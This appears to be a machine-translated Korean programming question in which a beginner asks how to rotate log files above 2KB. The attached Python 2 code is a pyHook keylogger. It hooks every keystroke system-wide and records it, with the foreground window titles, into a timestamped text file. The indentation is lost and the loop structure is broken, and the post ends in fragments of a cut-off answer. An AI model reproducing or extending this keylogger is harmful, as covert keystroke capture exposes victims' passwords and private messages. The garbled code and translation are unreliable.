1
키를 쓰는 파일이 2KB 이상인지 확인하고 싶습니다. 그것이 2KB 이상이면 다른 파일을 만들어이 파일에 쓰지 않아도됩니다. 나는 파이썬에서 초보자입니다. 저를 도와주세요. 파일이 2KB 이상인지 확인하기 위해 코드를 사용할 수있는 위치를 지정하십시오. pyhook 펌프 메시지에 자체 코드 사용
import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
는
.getsize
을 사용할 수